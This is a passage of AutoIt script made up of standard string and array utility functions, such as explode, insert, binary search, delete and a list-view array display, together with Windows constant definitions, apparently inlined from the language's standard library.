Local $areturn = StringRegExp($sstring, $scase & $sstart & "(.*?)" & $send, $str_regexparrayglobalmatch)
If @error Then Return SetError(1, 0, 0)
Return $areturn
EndFunc
Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
Local Const $null = Chr(0)
If $ilimit = Default Then $ilimit = 0
If $ilimit > 0 Then
$sstring = StringReplace($sstring, $sdelimiter, $null, $ilimit)
$sdelimiter = $null
ElseIf $ilimit < 0 Then
Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
If $iindex Then
$sstring = StringLeft($sstring, $iindex - 1)
EndIf
EndIf
Return StringSplit($sstring, $sdelimiter, $str_nocount)
EndFunc
Func _stringinsert($sstring, $sinsertstring, $iposition)
$iposition = Int($iposition)
Local $ilength = StringLen($sstring)
If Abs($iposition) > $ilength Then
Return SetError(1, 0, $sstring)
EndIf
If NOT IsString($sinsertstring) Then $sinsertstring = String($sinsertstring)
If NOT IsString($sstring) Then $sstring = String($sstring)
$sinsertstring = StringReplace($sinsertstring, "\", "\\")
If $iposition >= 0 Then
Return StringRegExpReplace($sstring, "(?s)\A(.{" & $iposition & "})(.*)\z", "${1}" & $sinsertstring & "$2")
Else
Return StringRegExpReplace($sstring, "(?s)\A(.*)(.{" & -$iposition & "})\z", "${1}" & $sinsertstring & "$2")
EndIf
EndFunc
Func _stringproper($sstring)
Local $bcapnext = True, $schr = "", $sreturn = ""
For $i = 1 To StringLen($sstring)
$schr = StringMid($sstring, $i, 1)
Select
Case $bcapnext = True
If StringRegExp($schr, "[a-zA-ZÀ-ÿšœžŸ]") Then
$schr = StringUpper($schr)
$bcapnext = False
EndIf
Case NOT StringRegExp($schr, "[a-zA-ZÀ-ÿšœžŸ]")
$bcapnext = True
Case Else
$schr = StringLower($schr)
EndSelect
$sreturn &= $schr
Next
Return $sreturn
EndFunc
Func _stringrepeat($sstring, $irepeatcount)
$irepeatcount = Int($irepeatcount)
If StringLen($sstring) < 1 OR $irepeatcount < 0 Then Return SetError(1, 0, "")
Local $sresult = ""
While $irepeatcount > 1
If BitAND($irepeatcount, 1) Then $sresult &= $sstring
$sstring &= $sstring
$irepeatcount = BitShift($irepeatcount, 1)
WEnd
Return $sstring & $sresult
EndFunc
Func _stringtitlecase($sstring)
Local $bcapnext = True, $schr = "", $sreturn = ""
For $i = 1 To StringLen($sstring)
$schr = StringMid($sstring, $i, 1)
Select
Case $bcapnext = True
If StringRegExp($schr, "[a-zA-Z\xC0-\xFF0-9]") Then
$schr = StringUpper($schr)
$bcapnext = False
EndIf
Case NOT StringRegExp($schr, "[a-zA-Z\xC0-\xFF'0-9]")
$bcapnext = True
Case Else
$schr = StringLower($schr)
EndSelect
$sreturn &= $schr
Next
Return $sreturn
EndFunc
Func _stringtohex($sstring)
Return Hex(StringToBinary($sstring))
EndFunc
Global Const $opt_coordsrelative = 0
Global Const $opt_coordsabsolute = 1
Global Const $opt_coordsclient = 2
Global Const $opt_errorsilent = 0
Global Const $opt_errorfatal = 1
Global Const $opt_capsnostore = 0
Global Const $opt_capsstore = 1
Global Const $opt_matchstart = 1
Global Const $opt_matchany = 2
Global Const $opt_matchexact = 3
Global Const $opt_matchadvanced = 4
Global Const $ccs_top = 1
Global Const $ccs_nomovey = 2
Global Const $ccs_bottom = 3
Global Const $ccs_noresize = 4
Global Const $ccs_noparentalign = 8
Global Const $ccs_nohilite = 16
Global Const $ccs_adjustable = 32
Global Const $ccs_nodivider = 64
Global Const $ccs_vert = 128
Global Const $ccs_left = 129
Global Const $ccs_nomovex = 130
Global Const $ccs_right = 131
Global Const $dt_drivetype = 1
Global Const $dt_ssdstatus = 2
Global Const $dt_bustype = 3
Global Const $objid_window = 0
Global Const $objid_titlebar = -2
Global Const $objid_sizegrip = -7
Global Const $objid_caret = -8
Global Const $objid_cursor = -9
Global Const $objid_alert = -10
Global Const $objid_sound = -11
Global Const $dlg_notitle = 1
Global Const $dlg_notontop = 2
Global Const $dlg_textleft = 4
Global Const $dlg_textright = 8
Global Const $dlg_moveable = 16
Global Const $dlg_textvcenter = 32
Global Const $idc_unknown = 0
Global Const $idc_appstarting = 1
Global Const $idc_arrow = 2
Global Const $idc_cross = 3
Global Const $idc_hand = 32649
Global Const $idc_help = 4
Global Const $idc_ibeam = 5
Global Const $idc_icon = 6
Global Const $idc_no = 7
Global Const $idc_size = 8
Global Const $idc_sizeall = 9
Global Const $idc_sizenesw = 10
Global Const $idc_sizens = 11
Global Const $idc_sizenwse = 12
Global Const $idc_sizewe = 13
Global Const $idc_uparrow = 14
Global Const $idc_wait = 15
Global Const $idi_application = 32512
Global Const $idi_asterisk = 32516
Global Const $idi_exclamation = 32515
Global Const $idi_hand = 32513
Global Const $idi_question = 32514
Global Const $idi_winlogo = 32517
Global Const $idi_shield = 32518
Global Const $idi_error = $idi_hand
Global Const $idi_information = $idi_asterisk
Global Const $idi_warning = $idi_exclamation
Global Const $sd_logoff = 0
Global Const $sd_shutdown = 1
Global Const $sd_reboot = 2
Global Const $sd_force = 4
Global Const $sd_powerdown = 8
Global Const $sd_forcehung = 16
Global Const $sd_standby = 32
Global Const $sd_hibernate = 64
Global Const $stdin_child = 1
Global Const $stdout_child = 2
Global Const $stderr_child = 4
Global Const $stderr_merged = 8
Global Const $stdio_inherit_parent = 16
Global Const $run_create_new_console = 65536
Global Const $ubound_dimensions = 0
Global Const $ubound_rows = 1
Global Const $ubound_columns = 2
Global Const $mouseeventf_absolute = 32768
Global Const $mouseeventf_move = 1
Global Const $mouseeventf_leftdown = 2
Global Const $mouseeventf_leftup = 4
Global Const $mouseeventf_rightdown = 8
Global Const $mouseeventf_rightup = 16
Global Const $mouseeventf_middledown = 32
Global Const $mouseeventf_middleup = 64
Global Const $mouseeventf_wheel = 2048
Global Const $mouseeventf_xdown = 128
Global Const $mouseeventf_xup = 256
Global Const $reg_none = 0
Global Const $reg_sz = 1
Global Const $reg_expand_sz = 2
Global Const $reg_binary = 3
Global Const $reg_dword = 4
Global Const $reg_dword_little_endian = 4
Global Const $reg_dword_big_endian = 5
Global Const $reg_link = 6
Global Const $reg_multi_sz = 7
Global Const $reg_resource_list = 8
Global Const $reg_full_resource_descriptor = 9
Global Const $reg_resource_requirements_list = 10
Global Const $reg_qword = 11
Global Const $reg_qword_little_endian = 11
Global Const $hwnd_bottom = 1
Global Const $hwnd_notopmost = -2
Global Const $hwnd_top = 0
Global Const $hwnd_topmost = -1
Global Const $swp_nosize = 1
Global Const $swp_nomove = 2
Global Const $swp_nozorder = 4
Global Const $swp_noredraw = 8
Global Const $swp_noactivate = 16
Global Const $swp_framechanged = 32
Global Const $swp_drawframe = 32
Global Const $swp_showwindow = 64
Global Const $swp_hidewindow = 128
Global Const $swp_nocopybits = 256
Global Const $swp_noownerzorder = 512
Global Const $swp_noreposition = 512
Global Const $swp_nosendchanging = 1024
Global Const $swp_defererase = 8192
Global Const $swp_asyncwindowpos = 16384
Global Const $keyword_default = 1
Global Const $keyword_null = 2
Global Const $mb_ok = 0
Global Const $mb_okcancel = 1
Global Const $mb_abortretryignore = 2
Global Const $mb_yesnocancel = 3
Global Const $mb_yesno = 4
Global Const $mb_retrycancel = 5
Global Const $mb_canceltrycontinue = 6
Global Const $mb_help = 16384
Global Const $mb_iconstop = 16
Global Const $mb_iconerror = 16
Global Const $mb_iconhand = 16
Global Const $mb_iconquestion = 32
Global Const $mb_iconexclamation = 48
Global Const $mb_iconwarning = 48
Global Const $mb_iconinformation = 64
Global Const $mb_iconasterisk = 64
Global Const $mb_usericon = 128
Global Const $mb_defbutton1 = 0
Global Const $mb_defbutton2 = 256
Global Const $mb_defbutton3 = 512
Global Const $mb_defbutton4 = 768
Global Const $mb_applmodal = 0
Global Const $mb_systemmodal = 4096
Global Const $mb_taskmodal = 8192
Global Const $mb_default_desktop_only = 131072
Global Const $mb_right = 524288
Global Const $mb_rtlreading = 1048576
Global Const $mb_setforeground = 65536
Global Const $mb_topmost = 262144
Global Const $mb_service_notification = 2097152
Global Const $mb_rightjustified = $mb_right
Global Const $idtimeout = -1
Global Const $idok = 1
Global Const $idcancel = 2
Global Const $idabort = 3
Global Const $idretry = 4
Global Const $idignore = 5
Global Const $idyes = 6
Global Const $idno = 7
Global Const $idclose = 8
Global Const $idhelp = 9
Global Const $idtryagain = 10
Global Const $idcontinue = 11
Func _arrayadd(ByRef $avarray, $vvalue, $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $hdatatype = 0)
If $istart = Default Then $istart = 0
If $sdelim_item = Default Then $sdelim_item = "|"
If $sdelim_row = Default Then $sdelim_row = @CRLF
If $hdatatype = Default Then $hdatatype = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows)
Switch UBound($avarray, $ubound_dimensions)
Case 1
If IsArray($vvalue) Then
If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1)
$hdatatype = 0
Else
Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit)
If UBound($atmp, $ubound_rows) = 1 Then
$atmp[0] = $vvalue
$hdatatype = 0
EndIf
$vvalue = $atmp
EndIf
Local $iadd = UBound($vvalue, $ubound_rows)
ReDim $avarray[$idim_1 + $iadd]
For $i = 0 To $iadd - 1
If IsFunc($hdatatype) Then
$avarray[$idim_1 + $i] = $hdatatype($vvalue[$i])
Else
$avarray[$idim_1 + $i] = $vvalue[$i]
EndIf
Next
Return $idim_1 + $iadd - 1
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns)
If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(4, 0, -1)
Local $ivaldim_1, $ivaldim_2
If IsArray($vvalue) Then
If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(5, 0, -1)
$ivaldim_1 = UBound($vvalue, $ubound_rows)
$ivaldim_2 = UBound($vvalue, $ubound_columns)
$hdatatype = 0
Else
Local $asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit)
$ivaldim_1 = UBound($asplit_1, $ubound_rows)
StringReplace($asplit_1[0], $sdelim_item, "")
$ivaldim_2 = @extended + 1
Local $atmp[$ivaldim_1][$ivaldim_2], $asplit_2
For $i = 0 To $ivaldim_1 - 1
$asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit)
For $j = 0 To $ivaldim_2 - 1
$atmp[$i][$j] = $asplit_2[$j]
Next
Next
$vvalue = $atmp
EndIf
If UBound($vvalue, $ubound_columns) + $istart > UBound($avarray, $ubound_columns) Then Return SetError(3, 0, -1)
ReDim $avarray[$idim_1 + $ivaldim_1][$idim_2]
For $iwriteto_index = 0 To $ivaldim_1 - 1
For $j = 0 To $idim_2 - 1
If $j < $istart Then
$avarray[$iwriteto_index + $idim_1][$j] = ""
ElseIf $j - $istart > $ivaldim_2 - 1 Then
$avarray[$iwriteto_index + $idim_1][$j] = ""
Else
If IsFunc($hdatatype) Then
$avarray[$iwriteto_index + $idim_1][$j] = $hdatatype($vvalue[$iwriteto_index][$j - $istart])
Else
$avarray[$iwriteto_index + $idim_1][$j] = $vvalue[$iwriteto_index][$j - $istart]
EndIf
EndIf
Next
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return UBound($avarray, $ubound_rows) - 1
EndFunc
Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icolumn = 0)
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $icolumn = Default Then $icolumn = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows)
If $idim_1 = 0 Then Return SetError(6, 0, -1)
If $iend < 1 OR $iend > $idim_1 - 1 Then $iend = $idim_1 - 1
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
Local $imid = Int(($iend + $istart) / 2)
Switch UBound($avarray, $ubound_dimensions)
Case 1
If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
While $istart <= $imid AND $vvalue <> $avarray[$imid]
If $vvalue < $avarray[$imid] Then
$iend = $imid - 1
Else
$istart = $imid + 1
EndIf
$imid = Int(($iend + $istart) / 2)
WEnd
If $istart > $iend Then Return SetError(3, 0, -1)
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(7, 0, -1)
If $avarray[$istart][$icolumn] > $vvalue OR $avarray[$iend][$icolumn] < $vvalue Then Return SetError(2, 0, -1)
While $istart <= $imid AND $vvalue <> $avarray[$imid][$icolumn]
If $vvalue < $avarray[$imid][$icolumn] Then
$iend = $imid - 1
Else
$istart = $imid + 1
EndIf
$imid = Int(($iend + $istart) / 2)
WEnd
If $istart > $iend Then Return SetError(3, 0, -1)
Case Else
Return SetError(5, 0, -1)
EndSwitch
Return $imid
EndFunc
Func _arraycoldelete(ByRef $avarray, $icolumn, $bconvert = False)
If $bconvert = Default Then $bconvert = False
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows)
If UBound($avarray, $ubound_dimensions) <> 2 Then Return SetError(2, 0, -1)
Local $idim_2 = UBound($avarray, $ubound_columns)
Switch $idim_2
Case 2
If $icolumn < 0 OR $icolumn > 1 Then Return SetError(3, 0, -1)
If $bconvert Then
Local $atemparray[$idim_1]
For $i = 0 To $idim_1 - 1
$atemparray[$i] = $avarray[$i][(NOT $icolumn)]
Next
$avarray = $atemparray
Else
ContinueCase
EndIf
Case Else
If $icolumn < 0 OR $icolumn > $idim_2 - 1 Then Return SetError(3, 0, -1)
For $i = 0 To $idim_1 - 1
For $j = $icolumn To $idim_2 - 2
$avarray[$i][$j] = $avarray[$i][$j + 1]
Next
Next
ReDim $avarray[$idim_1][$idim_2 - 1]
EndSwitch
Return UBound($avarray, $ubound_columns)
EndFunc
Func _arraycolinsert(ByRef $avarray, $icolumn)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows)
Switch UBound($avarray, $ubound_dimensions)
Case 1
Local $atemparray[$idim_1][2]
Switch $icolumn
Case 0, 1
For $i = 0 To $idim_1 - 1
$atemparray[$i][(NOT $icolumn)] = $avarray[$i]
Next
Case Else
Return SetError(3, 0, -1)
EndSwitch
$avarray = $atemparray
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns)
If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(3, 0, -1)
ReDim $avarray[$idim_1][$idim_2 + 1]
For $i = 0 To $idim_1 - 1
For $j = $idim_2 To $icolumn + 1 Step -1
$avarray[$i][$j] = $avarray[$i][$j - 1]
Next
$avarray[$i][$icolumn] = ""
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return UBound($avarray, $ubound_columns)
EndFunc
Func _arraycombinations(Const ByRef $avarray, $iset, $sdelim = "")
If $sdelim = Default Then $sdelim = ""
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0)
Local $in = UBound($avarray)
Local $ir = $iset
Local $aidx[$ir]
For $i = 0 To $ir - 1
$aidx[$i] = $i
Next
Local $itotal = __array_combinations($in, $ir)
Local $ileft = $itotal
Local $aresult[$itotal + 1]
$aresult[0] = $itotal
Local $icount = 1
While $ileft > 0
__array_getnext($in, $ir, $ileft, $itotal, $aidx)
For $i = 0 To $iset - 1
$aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
Next
If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
$icount += 1
WEnd
Return $aresult
EndFunc
Func _arrayconcatenate(ByRef $avarray_tgt, Const ByRef $avarray_src, $istart = 0)
If $istart = Default Then $istart = 0
If NOT IsArray($avarray_tgt) Then Return SetError(1, 0, -1)
If NOT IsArray($avarray_src) Then Return SetError(2, 0, -1)
Local $idim_total_tgt = UBound($avarray_tgt, $ubound_dimensions)
Local $idim_total_src = UBound($avarray_src, $ubound_dimensions)
Local $idim_1_tgt = UBound($avarray_tgt, $ubound_rows)
Local $idim_1_src = UBound($avarray_src, $ubound_rows)
If $istart < 0 OR $istart > $idim_1_src - 1 Then Return SetError(6, 0, -1)
Switch $idim_total_tgt
Case 1
If $idim_total_src <> 1 Then Return SetError(4, 0, -1)
ReDim $avarray_tgt[$idim_1_tgt + $idim_1_src - $istart]
For $i = $istart To $idim_1_src - 1
$avarray_tgt[$idim_1_tgt + $i - $istart] = $avarray_src[$i]
Next
Case 2
If $idim_total_src <> 2 Then Return SetError(4, 0, -1)
Local $idim_2_tgt = UBound($avarray_tgt, $ubound_columns)
If UBound($avarray_src, $ubound_columns) <> $idim_2_tgt Then Return SetError(5, 0, -1)
ReDim $avarray_tgt[$idim_1_tgt + $idim_1_src - $istart][$idim_2_tgt]
For $i = $istart To $idim_1_src - 1
For $j = 0 To $idim_2_tgt - 1
$avarray_tgt[$idim_1_tgt + $i - $istart][$j] = $avarray_src[$i][$j]
Next
Next
Case Else
Return SetError(3, 0, -1)
EndSwitch
Return UBound($avarray_tgt, $ubound_rows)
EndFunc
Func _arraydelete(ByRef $avarray, $vrange)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If IsArray($vrange) Then
If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1)
Else
Local $inumber, $asplit_1, $asplit_2
$vrange = StringStripWS($vrange, 8)
$asplit_1 = StringSplit($vrange, ";")
$vrange = ""
For $i = 1 To $asplit_1[0]
If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
$asplit_2 = StringSplit($asplit_1[$i], "-")
Switch $asplit_2[0]
Case 1
$vrange &= $asplit_2[1] & ";"
Case 2
If Number($asplit_2[2]) >= Number($asplit_2[1]) Then
$inumber = $asplit_2[1] - 1
Do
$inumber += 1
$vrange &= $inumber & ";"
Until $inumber = $asplit_2[2]
EndIf
EndSwitch
Next
$vrange = StringSplit(StringTrimRight($vrange, 1), ";")
EndIf
If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1)
Local $icopyto_index = 0
Switch UBound($avarray, $ubound_dimensions)
Case 1
For $i = 1 To $vrange[0]
$avarray[$vrange[$i]] = ChrW(64177)
Next
For $ireadfrom_index = 0 To $idim_1
If $avarray[$ireadfrom_index] == ChrW(64177) Then
ContinueLoop
Else
If $ireadfrom_index <> $icopyto_index Then
$avarray[$icopyto_index] = $avarray[$ireadfrom_index]
EndIf
$icopyto_index += 1
EndIf
Next
ReDim $avarray[$idim_1 - $vrange[0] + 1]
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
For $i = 1 To $vrange[0]
$avarray[$vrange[$i]][0] = ChrW(64177)
Next
For $ireadfrom_index = 0 To $idim_1
If $avarray[$ireadfrom_index][0] == ChrW(64177) Then
ContinueLoop
Else
If $ireadfrom_index <> $icopyto_index Then
For $j = 0 To $idim_2
$avarray[$icopyto_index][$j] = $avarray[$ireadfrom_index][$j]
Next
EndIf
$icopyto_index += 1
EndIf
Next
ReDim $avarray[$idim_1 - $vrange[0] + 1][$idim_2 + 1]
Case Else
Return SetError(2, 0, False)
EndSwitch
Return UBound($avarray, $ubound_rows)
EndFunc
Func _arraydisplay(Const ByRef $avarray, $stitle = Default, $sarray_range = Default, $iflags = Default, $vuser_separator = Default, $sheader = Default, $imax_colwidth = Default, $ialt_color = Default, $huser_func = Default)
If $stitle = Default Then $stitle = "ArrayDisplay"
If $sarray_range = Default Then $sarray_range = ""
If $iflags = Default Then $iflags = 0
If $vuser_separator = Default Then $vuser_separator = ""
If $sheader = Default Then $sheader = ""
If $imax_colwidth = Default Then $imax_colwidth = 350
If $ialt_color = Default Then $ialt_color = 0
If $huser_func = Default Then $huser_func = 0
Local $itranspose = BitAND($iflags, 1)
Local $icolalign = BitAND($iflags, 6)
Local $iverbose = BitAND($iflags, 8)
Local $ibuttonmargin = ((BitAND($iflags, 32)) ? (0) : ((BitAND($iflags, 16)) ? (20) : (40)))
Local $inorow = BitAND($iflags, 64)
Local $smsg = "", $iret = 1
If IsArray($avarray) Then
Local $idimension = UBound($avarray, $ubound_dimensions), $irowcount = UBound($avarray, $ubound_rows), $icolcount = UBound($avarray, $ubound_columns)
If $idimension > 2 Then
$smsg = "Larger than 2D array passed to function"
$iret = 2
EndIf
Else
$smsg = "No array variable passed to function"
EndIf
If $smsg Then
If $iverbose AND MsgBox($mb_systemmodal + $mb_iconerror + $mb_yesno, "ArrayDisplay Error: " & $stitle, $smsg & @CRLF & @CRLF & "Exit the script?") = $idyes Then
Exit
Else
Return SetError($iret, 0, "")
EndIf
EndIf
Local $icw_colwidth = Number($vuser_separator)
Local $sad_separator = ChrW(64177)
Local $scurr_separator = Opt("GUIDataSeparatorChar", $sad_separator)
If $vuser_separator = "" Then $vuser_separator = $scurr_separator
Local $vtmp, $irowlimit = 65525, $icollimit = 250
Local $idatarow = $irowcount
Local $idatacol = $icolcount
Local $iitem_start = 0, $iitem_end = $irowcount - 1, $isubitem_start = 0, $isubitem_end = (($idimension = 2) ? ($icolcount - 1) : (0))
Local $brange_flag = False
If $sarray_range Then
Local $aarray_range = StringRegExp($sarray_range & "||", "(?U)(.*)\|", 3)
Local $avrangesplit = StringSplit($aarray_range[0], ":")
If @error Then
If Number($avrangesplit[1]) Then
$iitem_end = Number($avrangesplit[1])
EndIf
Else
$iitem_start = Number($avrangesplit[1])
If Number($avrangesplit[2]) Then
$iitem_end = Number($avrangesplit[2])
EndIf
EndIf
If $iitem_start > $iitem_end Then
$vtmp = $iitem_start
$iitem_start = $iitem_end
$iitem_end = $vtmp
EndIf
If $iitem_start < 0 Then $iitem_start = 0
If $iitem_end > $irowcount - 1 Then $iitem_end = $irowcount - 1
If $iitem_start <> 0 OR $iitem_end <> $irowcount - 1 Then $brange_flag = True
If $idimension = 2 Then
$avrangesplit = StringSplit($aarray_range[1], ":")
If @error Then
If Number($avrangesplit[1]) Then
$isubitem_end = Number($avrangesplit[1])
EndIf
Else
$isubitem_start = Number($avrangesplit[1])
If Number($avrangesplit[2]) Then
$isubitem_end = Number($avrangesplit[2])
EndIf
EndIf
If $isubitem_start > $isubitem_end Then
$vtmp = $isubitem_start
$isubitem_start = $isubitem_end
$isubitem_end = $vtmp
EndIf
If $isubitem_start < 0 Then $isubitem_start = 0
If $isubitem_end > $icolcount - 1 Then $isubitem_end = $icolcount - 1
If $isubitem_start <> 0 OR $isubitem_end <> $icolcount - 1 Then $brange_flag = True
EndIf
EndIf
Local $sdisplaydata = "[" & $idatarow
Local $btruncated = False
If $itranspose Then
If $iitem_end - $iitem_start > $icollimit Then
$btruncated = True
$iitem_end = $iitem_start + $icollimit - 1
EndIf
Else
If $iitem_end - $iitem_start > $irowlimit Then
$btruncated = True
$iitem_end = $iitem_start + $irowlimit - 1
EndIf
EndIf
If $btruncated Then
$sdisplaydata &= "*]"
Else
$sdisplaydata &= "]"
EndIf
If $idimension = 2 Then
$sdisplaydata &= " [" & $idatacol
If $itranspose Then
If $isubitem_end - $isubitem_start > $irowlimit Then
$btruncated = True
$isubitem_end = $isubitem_start + $irowlimit - 1
EndIf
Else
If $isubitem_end - $isubitem_start > $icollimit Then
$btruncated = True
$isubitem_end = $isubitem_start + $icollimit - 1
EndIf
EndIf
If $btruncated Then
$sdisplaydata &= "*]"
Else
$sdisplaydata &= "]"
EndIf
EndIf
Local $stipdata = ""
If $btruncated Then $stipdata &= "Truncated"
If $brange_flag Then
If $stipdata Then $stipdata &= " - "
$stipdata &= "Range set"
EndIf
If $itranspose Then
If $stipdata Then $stipdata &= " - "
$stipdata &= "Transposed"
EndIf
Local $asheader = StringSplit($sheader, $scurr_separator, $str_nocount)
If UBound($asheader) = 0 Then Local $asheader[1] = [""]
$sheader = "Row"
Local $iindex = $isubitem_start
If $itranspose Then
For $j = $iitem_start To $iitem_end
$sheader &= $sad_separator & "Col " & $j
Next
Else
If $asheader[0] Then
For $iindex = $isubitem_start To $isubitem_end
If $iindex >= UBound($asheader) Then ExitLoop
$sheader &= $sad_separator & $asheader[$iindex]
Next
EndIf
For $j = $iindex To $isubitem_end
$sheader &= $sad_separator & "Col " & $j
Next
EndIf
If $inorow Then $sheader = StringTrimLeft($sheader, 4)
If $iverbose AND ($iitem_end - $iitem_start + 1) * ($isubitem_end - $isubitem_start + 1) > 10000 Then
SplashTextOn("ArrayDisplay", "Preparing display" & @CRLF & @CRLF & "Please be patient", 300, 100)
EndIf
Local $ibuffer = 4094
If $itranspose Then
$vtmp = $iitem_start
$iitem_start = $isubitem_start
$isubitem_start = $vtmp
$vtmp = $iitem_end
$iitem_end = $isubitem_end
$isubitem_end = $vtmp
EndIf
Local $avarraytext[$iitem_end - $iitem_start + 1]
For $i = $iitem_start To $iitem_end
If NOT $inorow Then $avarraytext[$i - $iitem_start] = "[" & $i & "]"
For $j = $isubitem_start To $isubitem_end
If $idimension = 1 Then
If $itranspose Then
$vtmp = $avarray[$j]
Else
$vtmp = $avarray[$i]
EndIf
Else
If $itranspose Then
$vtmp = $avarray[$j][$i]
Else
$vtmp = $avarray[$i][$j]
EndIf
EndIf
If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer)
$avarraytext[$i - $iitem_start] &= $sad_separator & $vtmp
Next
If $inorow Then $avarraytext[$i - $iitem_start] = StringTrimLeft($avarraytext[$i - $iitem_start], 1)
Next
Local Const $_arrayconstant_gui_dockbottom = 64
Local Const $_arrayconstant_gui_dockborders = 102
Local Const $_arrayconstant_gui_dockheight = 512
Local Const $_arrayconstant_gui_dockleft = 2
Local Const $_arrayconstant_gui_dockright = 4
Local Const $_arrayconstant_gui_dockhcenter = 8
Local Const $_arrayconstant_gui_event_close = -3
Local Const $_arrayconstant_gui_focus = 256
Local Const $_arrayconstant_gui_bkcolor_lv_alternate = -33554432
Local Const $_arrayconstant_ss_center = 1
Local Const $_arrayconstant_ss_centerimage = 512
Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
Local Const $_arrayconstant_lvm_getitemrect = (4096 + 14)
Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
Local Const $_arrayconstant_lvm_setcolumnwidth = (4096 + 30)
Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
Local Const $_arrayconstant_lvm_getselectedcount = (4096 + 50)
Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
Local Const $_arrayconstant_lvs_ex_gridlines = 1
Local Const $_arrayconstant_lvis_selected = 2
Local Const $_arrayconstant_lvs_showselalways = 8
Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
Local Const $_arrayconstant_ws_ex_clientedge = 512
Local Const $_arrayconstant_ws_maximizebox = 65536
Local Const $_arrayconstant_ws_minimizebox = 131072
Local Const $_arrayconstant_ws_sizebox = 262144
Local Const $_arrayconstant_wm_setredraw = 11
Local Const $_arrayconstant_lvscw_autosize = -1
Local $iorgwidth = 210, $iheight = 200, $iminsize = 250
Local $hgui = GUICreate($stitle, $iorgwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
Local $aiguisize = WinGetClientSize($hgui)
Local $ibuttonwidth_2 = $aiguisize[0] / 2
Local $ibuttonwidth_3 = $aiguisize[0] / 3
Local $idlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - $ibuttonmargin, $_arrayconstant_lvs_showselalways)
GUICtrlSetBkColor($idlistview, $_arrayconstant_gui_bkcolor_lv_alternate)
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
Local $idcopy_id = 9999, $idcopy_data = 99999, $iddata_label = 99999, $iduser_func = 99999, $idexit_script = 99999
If $ibuttonmargin Then
$idcopy_id = GUICtrlCreateButton("Copy Data && Hdr/Row", 0, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20)
$idcopy_data = GUICtrlCreateButton("Copy Data Only", $ibuttonwidth_2, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20)
If $ibuttonmargin = 40 Then
Local $ibuttonwidth_var = $ibuttonwidth_2
Local $ioffset = $ibuttonwidth_2
If IsFunc($huser_func) Then
$iduser_func = GUICtrlCreateButton("Run User Func", $ibuttonwidth_3, $aiguisize[1] - 20, $ibuttonwidth_3, 20)
$ibuttonwidth_var = $ibuttonwidth_3
$ioffset = $ibuttonwidth_3 * 2
EndIf
$idexit_script = GUICtrlCreateButton("Exit Script", $ioffset, $aiguisize[1] - 20, $ibuttonwidth_var, 20)
$iddata_label = GUICtrlCreateLabel($sdisplaydata, 0, $aiguisize[1] - 20, $ibuttonwidth_var, 18, BitOR($_arrayconstant_ss_center, $_arrayconstant_ss_centerimage))
Select
Case $btruncated OR $itranspose OR $brange_flag
GUICtrlSetColor($iddata_label, 16711680)
GUICtrlSetTip($iddata_label, $stipdata)
EndSelect
EndIf
EndIf
GUICtrlSetResizing($idlistview, $_arrayconstant_gui_dockborders)
